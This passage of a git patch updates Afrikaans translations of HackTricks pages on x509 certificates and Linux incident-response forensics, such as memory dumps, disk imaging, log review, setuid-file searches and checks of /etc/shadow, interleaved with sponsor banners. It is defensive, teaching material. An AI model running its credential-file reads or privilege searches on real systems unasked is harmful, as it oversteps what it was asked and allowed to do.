From 1f708da339b9a42b09a62c968e6e5c8f93079ecb Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 6 May 2024 11:14:17 +0000 Subject: [PATCH] Translated ['crypto-and-stego/certificates.md', 'generic-methodologies-a --- crypto-and-stego/certificates.md | 40 +- .../linux-forensics.md | 88 +- .../browser-artifacts.md | 75 +- .../local-cloud-storage.md | 36 +- .../office-file-analysis.md | 20 +- .../pdf-file-analysis.md | 6 +- .../brute-force.md | 156 ++-- .../python/README.md | 12 +- .../search-exploits.md | 18 +- .../bypass-bash-restrictions/README.md | 26 +- .../docker-security/README.md | 132 +-- .../README.md | 826 ++++++------------ mobile-pentesting/ios-pentesting/README.md | 305 +++---- .../burp-configuration-for-ios.md | 30 +- .../1099-pentesting-java-rmi.md | 38 +- .../113-pentesting-ident.md | 14 +- .../8086-pentesting-influxdb.md | 30 +- .../pentesting-postgresql.md | 168 ++-- .../pentesting-web/put-method-webdav.md | 46 +- .../pentesting-web/wordpress.md | 88 +- pentesting-web/cache-deception/README.md | 124 +-- pentesting-web/clickjacking.md | 30 +- pentesting-web/command-injection.md | 22 +- pentesting-web/domain-subdomain-takeover.md | 34 +- pentesting-web/email-injections.md | 26 +- pentesting-web/nosql-injection.md | 30 +- pentesting-web/race-condition.md | 61 +- pentesting-web/rate-limit-bypass.md | 46 +- .../README.md | 76 +- pentesting-web/xs-search/README.md | 341 ++++---- .../active-directory-methodology/dcsync.md | 22 +- .../kerberoast.md | 44 +- .../acls-dacls-sacls-aces.md | 70 +- 33 files changed, 1394 insertions(+), 1686 deletions(-) diff --git a/crypto-and-stego/certificates.md b/crypto-and-stego/certificates.md index 44fa5c0d9..2c6f4851f 100644 --- a/crypto-and-stego/certificates.md +++ b/crypto-and-stego/certificates.md @@ -8,7 +8,7 @@ Ander maniere om HackTricks te ondersteun: * As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family) +* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) * **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag. @@ -17,10 +17,10 @@ Ander maniere om HackTricks te ondersteun:
\ -Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomaties** te laat hardloop met die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ -Kry Vandag Toegang: +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ +Kry Vandaag Toegang: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %} ## Wat is 'n Sertifikaat @@ -35,13 +35,13 @@ Sertifikate word meestal uitgereik deur [sertifikaatowerhede](https://en.wikiped In x509 sertifikate speel verskeie **velde** kritieke rolle om die sertifikaat se geldigheid en sekuriteit te verseker. Hier is 'n uiteensetting van hierdie velde: * Die **Weergawe Nommer** dui die weergawe van die x509-formaat aan. -* Die **Serienommer** identifiseer die sertifikaat uniek binne 'n Sertifikaatowerheid se (CA) stelsel, hoofsaaklik vir herroepingopsporing. +* Die **Serienommer** identifiseer die sertifikaat uniek binne 'n Sertifikaatowerheid se (CA) stelsel, hoofsaaklik vir herroepingstracking. * Die **Onderwerp** veld verteenwoordig die sertifikaat se eienaar, wat 'n masjien, 'n individu, of 'n organisasie kan wees. Dit sluit gedetailleerde identifikasie in soos: * **Gemeenskaplike Naam (CN)**: Domeine wat deur die sertifikaat gedek word. * **Land (C)**, **Lokaliteit (L)**, **Staat of Provinsie (ST, S, of P)**, **Organisasie (O)**, en **Organisasie-eenheid (OU)** verskaf geografiese en organisatoriese besonderhede. * **Onderskeidingsnaam (DN)** omvat die volledige onderwerpidentifikasie. -* **Uitreiker** besonderhede van wie die sertifikaat geverifieer en onderteken het, insluitend soortgelyke subvelde as die Onderwerp vir die CA. -* **Geldigheidsperiode** word gemerk deur **Nie Voor Nie** en **Nie Na Nie** tydmerke, wat verseker dat die sertifikaat nie voor of na 'n sekere datum gebruik word nie. +* Die **Uitreiker** besonderhede van wie die sertifikaat geverifieer en onderteken het, insluitend soortgelyke subvelde as die Onderwerp vir die CA. +* Die **Geldigheidsperiode** word gemerk deur **Nie Voor Nie** en **Nie Na Nie** tydstempels, wat verseker dat die sertifikaat nie voor of na 'n sekere datum gebruik word nie. * Die **Openbare Sleutel** afdeling, krities vir die sertifikaat se sekuriteit, spesifiseer die algoritme, grootte, en ander tegniese besonderhede van die openbare sleutel. * **x509v3-uitbreidings** verbeter die sertifikaat se funksionaliteit, spesifiseer **Sleutelgebruik**, **Uitgebreide Sleutelgebruik**, **Onderwerp Alternatiewe Naam**, en ander eienskappe om die sertifikaat se toepassing fynaf te stem. @@ -51,8 +51,8 @@ In x509 sertifikate speel verskeie **velde** kritieke rolle om die sertifikaat s * **Uitgebreide Sleutelgebruik** versmalle verder die sertifikaat se gebruike, bv. vir TLS-bedienerverifikasie. * **Onderwerp Alternatiewe Naam** en **Basiese Beperking** definieer addisionele gasheernaam wat deur die sertifikaat gedek word en of dit 'n CA- of eindentiteit-sertifikaat is, onderskeidelik. * Identifiseerders soos **Onderwerp Sleutelidentifiseerder** en **Uitreiker Sleutelidentifiseerder** verseker uniekheid en naspeurbaarheid van sleutels. -* **Uitreikerinligtings Toegang** en **CRL Verspreidingspunte** bied paaie om die uitreikende CA te verifieer en sertifikaat-herroepingsstatus te kontroleer. -* **CT Voor-sertifikaat SCT's** bied deursigtigheidslogs, krities vir openbare vertroue in die sertifikaat. +* **Uitreikerinligtings Toegang** en **CRL Verspreidingspunte** bied paaie om die uitreikende CA te verifieer en sertifikaatherroepingsstatus te kontroleer. +* **CT Voor-sertifikaat SCT's** bied deursigtigheidslêers, krities vir openbare vertroue in die sertifikaat. ```python # Example of accessing and using x509 certificate fields programmatically: from cryptography import x509 @@ -76,7 +76,7 @@ print(f"Public Key: {public_key}") ``` ### **Verskil tussen OCSP en CRL-verspreidingspunte** -**OCSP** (**RFC 2560**) behels 'n kliënt en 'n reageerder wat saamwerk om te kontroleer of 'n digitale openbare sleutel-sertifikaat herroep is, sonder om die volle **CRL** af te laai. Hierdie metode is doeltreffender as die tradisionele **CRL**, wat 'n lys van herroepingsertifikaat serienommers verskaf, maar vereis die aflaai van 'n moontlik groot lêer. CRL's kan tot 512 inskrywings insluit. Meer besonderhede is beskikbaar [hier](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm). +**OCSP** (**RFC 2560**) behels 'n kliënt en 'n reageerder wat saamwerk om te kontroleer of 'n digitale openbare-sleutel sertifikaat herroep is, sonder om die volle **CRL** af te laai. Hierdie metode is doeltreffender as die tradisionele **CRL**, wat 'n lys van herroepingsertifikaat serienommers verskaf, maar vereis die aflaai van 'n moontlik groot lêer. CRL's kan tot 512 inskrywings insluit. Meer besonderhede is beskikbaar [hier](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm). ### **Wat is Sertifikaatdeursigtigheid** @@ -84,11 +84,11 @@ Sertifikaatdeursigtigheid help om sertifikaatverwante bedreigings te bekamp deur * Voorkoming dat CA's SSL-sertifikate vir 'n domein uitreik sonder die domeineienaar se wete. * Daarstel van 'n oop ouditeringstelsel vir die opsporing van per abuis of booswillig uitgereikte sertifikate. -* Beskerming van gebruikers teen bedrieglike sertifikate. +* Beskerming van gebruikers teen valse sertifikate. #### **Sertifikaatlogs** -Sertifikaatlogs is openlik ouditeerbare, net byvoegbare rekords van sertifikate, onderhou deur netwerkdienste. Hierdie logs verskaf kriptografiese bewyse vir ouditeringsdoeleindes. Uitreikingsowerhede en die publiek kan sertifikate na hierdie logs indien of dit vir verifikasie ondervra. Alhoewel die presiese aantal logbedieners nie vas is nie, word verwag dat dit wêreldwyd minder as duisend sal wees. Hierdie bedieners kan onafhanklik bestuur word deur CA's, ISP's, of enige belanghebbende entiteit. +Sertifikaatlogs is openlik ouditeerbare, net-byvoegbare rekords van sertifikate, onderhou deur netwerkdienste. Hierdie logs verskaf kriptografiese bewyse vir ouditeringsdoeleindes. Uitreikingsowerhede en die publiek kan sertifikate na hierdie logs indien of dit vir verifikasie ondervra. Alhoewel die presiese aantal logbedieners nie vas is nie, word verwag dat dit wêreldwyd minder as duisend sal wees. Hierdie bedieners kan onafhanklik bestuur word deur CA's, ISP's, of enige belanghebbende entiteit. #### **Ondersoek** @@ -150,7 +150,7 @@ openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem ``` **PFX-omskakelings** is noodsaaklik vir die bestuur van sertifikate op Windows: -- **PFX na PEM** +* **PFX na PEM** ```bash openssl pkcs12 -in certificatename.pfx -out certificatename.pem ``` @@ -177,21 +177,21 @@ openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certif
\ -Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en **outomatiseer werkstrome** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\ -Kry Toegang Vandag: +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) om maklik en **outomatiese werksvloei** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\ +Kry Vandaag Toegang: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
-Leer AWS hak van nul tot held met htARTE (HackTricks AWS Red Team Expert)! +Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)! Ander maniere om HackTricks te ondersteun: * As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag. +* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family) +* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md b/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md index 29461c1d5..18fe7d9c0 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md @@ -3,18 +3,18 @@
\ -Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en **outomatiese werksvloei** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\ -Kry Vandag Toegang: +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) om maklik en **outomatiese werksvloei** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\ +Kry Toegang Vandag: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
-Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)! +Leer AWS-hacking van niks tot held met htARTE (HackTricks AWS Red Team Expert)! Ander maniere om HackTricks te ondersteun: -* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! +* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family) * **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** @@ -51,11 +51,11 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi ``` #### Verdagte inligting -Terwyl jy die basiese inligting verkry, moet jy vir vreemde dinge soos die volgende nagaan: +Terwyl jy die basiese inligting verkry, moet jy vir vreemde dinge soos die volgende ondersoek: -- **Rootprosesse** hardloop gewoonlik met lae PIDS, so as jy 'n rootproses met 'n groot PID vind, kan jy dit verdenk -- Kyk na **geregistreerde aanmeldings** van gebruikers sonder 'n skaal binne `/etc/passwd` -- Kyk vir **wagwoordhasings** binne `/etc/shadow` vir gebruikers sonder 'n skaal +- **Rootprosesse** hardloop gewoonlik met lae PIDS, so as jy 'n rootproses met 'n groot PID vind, kan jy vermoed +- Kontroleer **geregistreerde aanmeldings** van gebruikers sonder 'n skaal binne `/etc/passwd` +- Kontroleer vir **wagwoordhasies** binne `/etc/shadow` vir gebruikers sonder 'n skaal ### Geheue-afvoer @@ -67,7 +67,7 @@ Onthou dat jy **LiME of enige ander ding nie kan installeer** op die slagoffer s {% endhint %} Dus, as jy 'n identiese weergawe van Ubuntu het, kan jy `apt-get install lime-forensics-dkms` gebruik\ -In ander gevalle moet jy [**LiME**](https://github.com/504ensicsLabs/LiME) van github aflaai en dit kompileer met die regte kernelkoppe. Om die **presiese kernelkoppe** van die slagoffer se masjien te verkry, kan jy net die gids `/lib/modules/` na jou masjien kopieer, en dan LiME daarmee **kompileer**: +In ander gevalle moet jy [**LiME**](https://github.com/504ensicsLabs/LiME) van github aflaai en dit kompileer met die korrekte kernelkoppe. Om die **presiese kernelkoppe** van die slagoffer se masjien te verkry, kan jy net die gids `/lib/modules/` na jou masjien kopieer, en dan LiME daarmee **kompileer**: ```bash make -C /lib/modules//build M=$PWD sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime" @@ -85,11 +85,11 @@ LiME kan ook gebruik word om die storting via die netwerk te **stuur** in plaas #### Afskakel Eerstens, sal jy die stelsel moet **afskakel**. Dit is nie altyd 'n opsie nie aangesien die stelsel soms 'n produksieserver sal wees wat die maatskappy nie kan bekostig om af te skakel nie.\ -Daar is **2 maniere** om die stelsel af te skakel, 'n **normale afskakeling** en 'n **"trek die prop" afskakeling**. Die eerste een sal die **prosesse toelaat om soos gewoonlik te beëindig** en die **lêersisteem** om **gesinkroniseer** te word, maar dit sal ook die moontlike **malware** toelaat om **bewyse te vernietig**. Die "trek die prop" benadering mag 'n **bietjie inligtingsverlies** meebring (nie baie van die inligting gaan verlore gaan aangesien ons reeds 'n beeld van die geheue geneem het nie) en die **malware sal nie enige geleentheid hê** om iets daaraan te doen nie. Daarom, as jy **vermoed** dat daar 'n **malware** mag wees, voer net die **`sync`** **bevel** op die stelsel uit en trek die prop uit. +Daar is **2 maniere** om die stelsel af te skakel, 'n **normale afskakeling** en 'n **"trek die prop" afskakeling**. Die eerste een sal die **prosesse toelaat om soos gewoonlik te beëindig** en die **lêersisteem** om **gesinkroniseer** te word, maar dit sal ook die moontlike **malware** toelaat om **bewyse te vernietig**. Die "trek die prop" benadering mag 'n bietjie **inligtingverlies** meebring (nie baie van die inligting gaan verlore gaan aangesien ons reeds 'n beeld van die geheue geneem het nie) en die **malware sal nie enige geleentheid hê** om iets daaraan te doen nie. Daarom, as jy **vermoed** dat daar 'n **malware** mag wees, voer net die **`sync`** **bevel** op die stelsel uit en trek die prop uit. -#### Neem 'n beeld van die skyf +#### 'n Beeld van die skyf neem -Dit is belangrik om te let dat **voordat jy jou rekenaar aan iets wat met die saak verband hou, koppel**, moet jy seker maak dat dit as **alleen lees** gemonteer gaan word om te verhoed dat enige inligting gewysig word. +Dit is belangrik om te let dat **voordat jy jou rekenaar aan iets wat met die saak verband hou, koppel**, moet jy seker maak dat dit as slegs lees **gekoppel** gaan word om te verhoed dat enige inligting gewysig word. ```bash #Create a raw copy of the disk dd if= of= bs=512 @@ -100,7 +100,7 @@ dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/med ``` ### Skijfafbeelding voor-ontleding -Beeld 'n skijfafbeelding met geen verdere data nie. +Beeldvorming van 'n skyfafbeelding met geen verdere data nie. ```bash #Find out if it's a disk image using "file" command file disk.img @@ -156,10 +156,10 @@ ThisisTheMasterSecret
\ -Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en **outomatiseer werkstrome** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\ -Kry Toegang Vandag: +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) om maklik en **outomatiseer werkstrome** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\ +Kry Vandaag Toegang: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} ## Soek na bekende Malware @@ -180,12 +180,12 @@ Lees die volgende bladsy om meer te leer oor gereedskap wat nuttig kan wees om m ## Soek geïnstalleerde programme -Om doeltreffend te soek na geïnstalleerde programme op beide Debian- en RedHat-stelsels, oorweeg om stelsellogboeke en databasisse saam met handmatige kontroles in algemene gids te gebruik. +Om doeltreffend te soek na geïnstalleerde programme op beide Debian- en RedHat-stelsels, oorweeg om stelsellogs en databasisse te benut saam met handmatige kontroles in algemene gidsies. * Vir Debian, ondersoek _**`/var/lib/dpkg/status`**_ en _**`/var/log/dpkg.log`**_ om besonderhede oor pakketaanvullings te kry, gebruik `grep` om te filter vir spesifieke inligting. * RedHat-gebruikers kan die RPM-databasis ondersoek met `rpm -qa --root=/mntpath/var/lib/rpm` om geïnstalleerde pakkette te lys. -Om sagteware wat handmatig geïnstalleer is of buite hierdie pakketbestuurders geïnstalleer is, te ontdek, ondersoek gids soos _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, en _**`/sbin`**_. Kombineer gidslêers met stelselspesifieke opdragte om uitvoerbare lêers te identifiseer wat nie met bekende pakkette geassosieer word nie, wat jou soektog na alle geïnstalleerde programme verbeter. +Om sagteware wat handmatig geïnstalleer is of buite hierdie pakketsbestuurders geïnstalleer is, te ontdek, verken gidsies soos _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, en _**`/sbin`**_. Kombineer gidslysings met stelselspesifieke opdragte om uitvoerbare lêers te identifiseer wat nie verband hou met bekende pakkette nie, wat jou soektog na alle geïnstalleerde programme verbeter. ```bash # Debian package and log details cat /var/lib/dpkg/status | grep -E "Package:|Status:" @@ -204,12 +204,12 @@ find / -type f -executable | grep
\ -Gebruik [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) om maklik werkstrome te bou en te outomatiseer wat aangedryf word deur die wêreld se mees gevorderde gemeenskapsinstrumente.\ -Kry Vandag Toegang: +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) om maklik en **outomatiseer werkafvloei** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\ +Kry Vandaag Toegang: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} -## Herstel Verwyderde Uitgevoerde Binêre Lêers +## Herstel Verwyderde Lopende Binêre Lêers Stel jou voor 'n proses wat uitgevoer is vanaf /tmp/exec en toe verwyder is. Dit is moontlik om dit te onttrek ```bash @@ -271,7 +271,7 @@ Linux-stelsels hou gebruikersaktiwiteite en stelselgebeure dop deur verskeie log - **/var/log/auth.log** (Debian) of **/var/log/secure** (RedHat): Neem outentiseringspogings, suksesvolle en mislukte aanmeldings op. - Gebruik `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` om relevante outentiseringsgebeure te filter. - **/var/log/boot.log**: Bevat stelselbeginboodskappe. -- **/var/log/maillog** of **/var/log/mail.log**: Log e-posdiensaktiwiteite, nuttig vir die opsporing van e-posverwante dienste. +- **/var/log/maillog** of **/var/log/mail.log**: Log e-posbedieneraktiwiteite, nuttig vir die opsporing van e-posverwante dienste. - **/var/log/kern.log**: Berg kernelboodskappe op, insluitend foute en waarskuwings. - **/var/log/dmesg**: Hou toestelbestuurderboodskappe vas. - **/var/log/faillog**: Neem mislukte aanmeldingspogings op, wat help met veiligheidskrisisondersoeke. @@ -301,8 +301,8 @@ Kontroleer lêers wat ekstra regte kan verleen: - Ondersoek `/etc/sudoers` vir onverwagte gebruikersregte wat moontlik toegeken is. - Ondersoek `/etc/sudoers.d/` vir onverwagte gebruikersregte wat moontlik toegeken is. -- Ondersoek `/etc/groups` om enige ongewone groepslidmaatskappe of -toestemmings te identifiseer. -- Ondersoek `/etc/passwd` om enige ongewone groepslidmaatskappe of -toestemmings te identifiseer. +- Ondersoek `/etc/groups` om enige ongewone groeplidmaatskappe of -regte te identifiseer. +- Ondersoek `/etc/passwd` om enige ongewone groeplidmaatskappe of -regte te identifiseer. Sommige programme genereer ook hul eie logboeke: @@ -310,7 +310,7 @@ Sommige programme genereer ook hul eie logboeke: - **Gnome Desktop**: Kyk na _\~/.recently-used.xbel_ vir onlangs benaderde lêers via Gnome-toepassings. - **Firefox/Chrome**: Kontroleer blaaiergeskiedenis en aflaaie in _\~/.mozilla/firefox_ of _\~/.config/google-chrome_ vir verdagte aktiwiteite. - **VIM**: Ondersoek _\~/.viminfo_ vir gebruiksdetails, soos benaderde lêerpaadjies en soekgeskiedenis. -- **Open Office**: Kontroleer vir onlangse dokumenttoegang wat gekompromitteerde lêers kan aandui. +- **Open Office**: Kontroleer vir onlangse dokumenttoegang wat dui op gekompromitteerde lêers. - **FTP/SFTP**: Ondersoek logboeke in _\~/.ftp\_history_ of _\~/.sftp\_history_ vir lêeroordragte wat moontlik ongemagtig is. - **MySQL**: Ondersoek _\~/.mysql\_history_ vir uitgevoerde MySQL-navrae, wat moontlik ongemagtigde databasisaktiwiteite kan onthul. - **Less**: Analiseer _\~/.lesshst_ vir gebruiksgeskiedenis, insluitend besigtigde lêers en uitgevoerde opdragte. @@ -340,10 +340,10 @@ Meer voorbeelde en inligting binne die github: [https://github.com/snovvcrash/us
\ -Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** aangedryf deur die wêreld se **mees gevorderde** gemeenskaplike gereedskap.\ -Kry Toegang Vandag: +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskaplike gereedskap.\ +Kry Vandaag Toegang: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} ## Oorsig van Gebruikersrekeninge en Aanmeldaktiwiteite @@ -355,18 +355,18 @@ Laastens, soek na rekeninge met **geen wagwoorde** of **maklik gerade** wagwoord ### Analise van Lêersisteemstrukture in Malware-ondersoek -Wanneer malware-voorvalle ondersoek word, is die struktuur van die lêersisteem 'n belangrike bron van inligting, wat beide die volgorde van gebeure en die inhoud van die malware onthul. Tog ontwikkel malware-skrywers tegnieke om hierdie analise te bemoeilik, soos die wysiging van lêer-timestamps of die vermyding van die lêersisteem vir data-opberging. +Wanneer malware-voorvalle ondersoek word, is die struktuur van die lêersisteem 'n belangrike bron van inligting, wat beide die volgorde van gebeure en die inhoud van die malware onthul. Tog ontwikkel malware-skrywers tegnieke om hierdie analise te bemoeilik, soos die wysiging van lêer tydstempels of die vermyding van die lêersisteem vir data berging. Om hierdie teen-forensiese metodes te teenwerk, is dit noodsaaklik om: -* **Voer 'n deeglike tydlyn-analise uit** met behulp van gereedskap soos **Autopsy** om gebeurtenistydraamwerke te visualiseer of **Sleuth Kit's** `mactime` vir gedetailleerde tydlyn-data. +* **Voer 'n deeglike tydlyn-analise uit** met behulp van gereedskap soos **Autopsy** om gebeurtenis tydlyne te visualiseer of **Sleuth Kit's** `mactime` vir gedetailleerde tydlyn data. * **Ondersoek onverwagte skripte** in die stelsel se $PATH, wat dalk skul of PHP-skripte insluit wat deur aanvallers gebruik word. -* **Ondersoek `/dev` vir atipiese lêers**, aangesien dit tradisioneel spesiale lêers bevat, maar moontlik malware-verwante lêers kan huisves. +* **Ondersoek `/dev` vir atipiese lêers**, aangesien dit tradisioneel spesiale lêers bevat, maar moontlik malware-verwante lêers kan bevat. * **Soek na verskuilde lêers of gidsname** met name soos ".. " (dot dot spatie) of "..^G" (dot dot control-G), wat skadelike inhoud kan verberg. -* **Identifiseer setuid-root-lêers** met die opdrag: `find / -user root -perm -04000 -print` Dit vind lêers met verhoogde regte wat deur aanvallers misbruik kan word. -* **Ondersoek verwyderingstimestamps** in inode-tabelle om massiewe lêerverwyderings op te spoor, moontlik duiend op die teenwoordigheid van rootkits of trojane. -* **Inspekteer opeenvolgende inodes** vir nabygeleë skadelike lêers nadat een geïdentifiseer is, aangesien hulle saam geplaas kon wees. -* **Kontroleer algemene binêre gids** (_/bin_, _/sbin_) vir onlangs gewysigde lêers, aangesien hierdie deur malware verander kan word. +* **Identifiseer setuid-root lêers** deur die opdrag te gebruik: `find / -user root -perm -04000 -print` Dit vind lêers met verhoogde regte wat deur aanvallers misbruik kan word. +* **Ondersoek verwyderingstydstempels** in inode-tabelle om massiewe lêerverwyderings op te spoor, moontlik duiend op die teenwoordigheid van rootkits of trojane. +* **Inspekteer aaneenlopende inodes** vir nabygeleë skadelike lêers nadat een geïdentifiseer is, aangesien hulle saam geplaas kon wees. +* **Kontroleer algemene binêre gidsname** (_/bin_, _/sbin_) vir onlangs gewysigde lêers, aangesien hierdie deur malware verander kan word. ````bash # List recent files in a directory: ls -laR --sort=time /bin``` @@ -375,7 +375,7 @@ ls -laR --sort=time /bin``` ls -lai /bin | sort -n``` ```` {% hint style="info" %} -Let daarop dat 'n **aanvaller** die **tyd** kan **verander** om **lêers te laat voorkom** asof hulle **wettig** is, maar hy **kan nie** die **inode** verander nie. As jy vind dat 'n **lêer** aandui dat dit geskep en verander is op dieselfde **tyd** as die res van die lêers in dieselfde vouer, maar die **inode** is **onverwags groter**, dan is die **tydmerke van daardie lêer verander**. +Let daarop dat 'n **aanvaller** die **tyd** kan **verander** om **lêers te laat voorkom** asof hulle **wettig** is, maar hy kan nie die **inode** verander nie. As jy vind dat 'n **lêer** aandui dat dit geskep en verander is op dieselfde **tyd** as die res van die lêers in dieselfde vouer, maar die **inode** is **onverwags groter**, dan is die **tydmerke van daardie lêer verander**. {% endhint %} ## Vergelyk lêers van verskillende lêersisteemweergawes @@ -392,7 +392,7 @@ git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/ ```bash git diff --no-index 